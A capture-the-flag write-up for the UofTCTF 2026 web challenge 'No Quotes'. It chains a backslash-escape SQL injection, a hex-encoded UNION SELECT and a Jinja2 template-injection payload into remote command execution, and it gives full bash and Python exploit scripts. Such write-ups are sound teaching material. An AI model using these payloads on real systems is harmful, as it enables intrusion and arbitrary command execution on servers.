No Quotes
No Quotes
Platform: uoftctf2026 | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-10 | Status: Solved Techniques: backslash_escape, hex_encoding, ssti_rce, union_select
Summary
No Quotes — UofTCTF 2026
Description
Unless it's from "Go Go Squid!", no quotes are allowed here! Let this wholesome quote heal your soul: Ai Qing: "If you didn't know about robot combat back then, what would you be doing?" Wu Bai: "There's no if. As long as you're here, I'll be here."
Analysis
Vulnerability Chain
The challenge presents a Flask application with multiple vulnerabilities that must be chained together:
- SQL Injection in
/loginendpoint with raw f-string query construction - WAF that blocks single and double quotes
- SSTI in
/homeendpoint viarender_template_string() - Flag accessible only via SUID binary
/readflag
Source Code Review
WAF Implementation (app.py:54-56):
python read-only • copy alloweddef waf(value: str) -> bool: blacklist = ["'", '"'] return any(char in value for char in blacklist)
Vulnerable SQL Query (app.py:76-78):
python read-only • copy allowedquery = ( "SELECT id, username FROM users " f"WHERE username = ('{username}') AND password = ('{password}')" )
SSTI Sink (app.py:112):
python read-only • copy allowedreturn render_template_string(open("templates/home.html").read() % session["user"])
Attack Strategy
The key insight is that while quotes are blocked, we can:
- Use backslash escape (
\) to break out of the SQL string context - Use MySQL hex encoding (
0x...) to inject strings without quotes - Inject an SSTI payload as the username via UNION SELECT
- Use request.args in SSTI to pass commands without needing quotes
Solution
Step 1: SQL Injection with Backslash Escape
When we send username \, the SQL query becomes:
sql read-only • copy allowedSELECT id, username FROM users WHERE username = ('\') AND password = ('...')
The backslash escapes the closing quote, making ') AND password = (' part of the username string literal. This allows us to inject SQL in the password field.
Step 2: UNION SELECT with Hex-Encoded SSTI Payload
SSTI payload to achieve RCE:
jinja2 read-only • copy allowed{{lipsum.__globals__.os.popen(request.args.c).read()}}
Using request.args.c allows us to pass the command as a URL parameter, avoiding quotes in the payload itself.
Convert to hex for MySQL:
bash read-only • copy allowedecho -n '{{lipsum.__globals__.os.popen(request.args.c).read()}}' | xxd -p | tr -d '\n' # Result: 7b7b6c697073756d2e5f5f676c6f62616c735f5f2e6f732e706f70656e28726571756573742e617267732e63292e7265616428297d7d
Password payload:
) UNION SELECT 1,0x7b7b6c697073756d2e5f5f676c6f62616c735f5f2e6f732e706f70656e28726571756573742e617267732e63292e7265616428297d7d-- -
Step 3: Trigger SSTI and Execute RCE
After login, the SSTI payload is stored in the session. Accessing /home?c=/readflag triggers the payload and executes the command.
Full Exploit
bash read-only • copy allowed#!/bin/bash TARGET="https://no-quotes-5b1647c719910966.chals.uoftctf.org" # SSTI payload: {{lipsum.__globals__.os.popen(request.args.c).read()}} PAYLOAD='{{lipsum.__globals__.os.popen(request.args.c).read()}}' HEX=$(echo -n "$PAYLOAD" | xxd -p | tr -d '\n') # Step 1: Login with SQLi + SSTI payload injection curl -s -c cookies.txt -X POST "$TARGET/login" \ -d "username=\\&password=) UNION SELECT 1,0x$HEX-- -" # Step 2: Trigger SSTI and get flag via RCE curl -s -b cookies.txt "$TARGET/home?c=/readflag"
Alternative Python Exploit
python read-only • copy allowed#!/usr/bin/env python3 import requests TARGET = "https://no-quotes-5b1647c719910966.chals.uoftctf.org" # SSTI payload using request.args to avoid quotes payload = "{{lipsum.__globals__.os.popen(request.args.c).read()}}" hex_payload = payload.encode().hex() # Create session s = requests.Session() # SQLi with backslash escape + hex-encoded SSTI payload s.post(f"{TARGET}/login", data={ "username": "\\", "password": f") UNION SELECT 1,0x{hex_payload}-- -" }) # Trigger SSTI with command in URL parameter response = s.get(f"{TARGET}/home", params={"c": "/readflag"}) print(response.text)
Lessons Learned
- Backslash escape is a powerful SQLi technique when quotes are filtered but backslash isn't
- MySQL hex encoding (
0x...) allows string injection without any quotes - Jinja2 SSTI via
lipsum.__globals__provides easy RCE - request.args in Flask templates can be used to pass data without embedding it in the payload
- Always check for multiple vulnerability chains - SQLi alone wasn't enough here
References
- MySQL String Literals
- Jinja2 SSTI Payloads
- PayloadsAllTheThings - SQL Injection